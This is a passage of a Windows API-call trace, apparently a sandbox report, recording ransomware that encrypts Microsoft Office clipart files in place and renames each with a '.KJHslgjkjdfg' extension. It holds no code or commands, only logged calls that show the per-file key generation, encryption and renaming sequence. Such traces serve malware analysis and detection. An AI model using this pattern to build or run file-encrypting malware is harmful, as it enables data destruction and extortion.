hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.511] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.511] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.511] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.511] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.511] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.511] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.511] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.511] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.512] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.512] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x349c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x349c, lpOverlapped=0x0) returned 1 [0205.514] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x34a0, dwBufLen=0x34a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x34a0) returned 1 [0205.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.514] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x34a0, lpOverlapped=0x0) returned 1 [0205.514] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.514] SetEndOfFile (hFile=0x130) returned 1 [0205.524] GetProcessHeap () returned 0x990000 [0205.524] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.524] GetProcessHeap () returned 0x990000 [0205.524] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.kjhslgjkjdfg")) returned 1 [0205.526] CloseHandle (hObject=0x130) returned 1 [0205.526] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb77a00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bb77a00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01627_.WMF", cAlternateFileName="")) returned 1 [0205.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.527] GetProcessHeap () returned 0x990000 [0205.527] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.528] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.528] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.528] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.528] GetProcessHeap () returned 0x990000 [0205.528] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.528] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.528] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.528] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.533] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.533] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.533] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.534] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.534] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.534] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.534] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xce0, lpOverlapped=0x0) returned 1 [0205.534] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0, dwBufLen=0xce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xce0) returned 1 [0205.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.534] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xce0, lpOverlapped=0x0) returned 1 [0205.534] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.534] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.534] SetEndOfFile (hFile=0x130) returned 1 [0205.537] GetProcessHeap () returned 0x990000 [0205.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.537] GetProcessHeap () returned 0x990000 [0205.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.kjhslgjkjdfg")) returned 1 [0205.539] CloseHandle (hObject=0x130) returned 1 [0205.539] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1 [0205.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.540] GetProcessHeap () returned 0x990000 [0205.540] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.540] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.540] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0205.542] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.542] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.543] GetProcessHeap () returned 0x990000 [0205.543] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.543] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.543] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.543] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.543] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.543] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.543] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.543] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.543] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.544] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.544] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.544] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb9e, lpOverlapped=0x0) returned 1 [0205.544] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba0, dwBufLen=0xba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba0) returned 1 [0205.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.544] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xba0, lpOverlapped=0x0) returned 1 [0205.544] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.544] SetEndOfFile (hFile=0x130) returned 1 [0205.547] GetProcessHeap () returned 0x990000 [0205.547] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.547] GetProcessHeap () returned 0x990000 [0205.547] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.kjhslgjkjdfg")) returned 1 [0205.651] CloseHandle (hObject=0x130) returned 1 [0205.652] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1 [0205.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.653] GetProcessHeap () returned 0x990000 [0205.653] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.653] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.656] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.656] GetProcessHeap () returned 0x990000 [0205.656] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.656] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.656] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.656] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.656] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.656] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.657] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.657] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc88, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc88, lpOverlapped=0x0) returned 1 [0205.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc90, dwBufLen=0xc90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc90) returned 1 [0205.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.657] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc90, lpOverlapped=0x0) returned 1 [0205.657] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.657] SetEndOfFile (hFile=0x130) returned 1 [0205.660] GetProcessHeap () returned 0x990000 [0205.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.660] GetProcessHeap () returned 0x990000 [0205.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.kjhslgjkjdfg")) returned 1 [0205.662] CloseHandle (hObject=0x130) returned 1 [0205.662] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1 [0205.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.665] GetProcessHeap () returned 0x990000 [0205.665] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.665] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.665] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0205.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.667] GetProcessHeap () returned 0x990000 [0205.667] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.667] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.667] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.668] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.668] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.668] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.668] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: 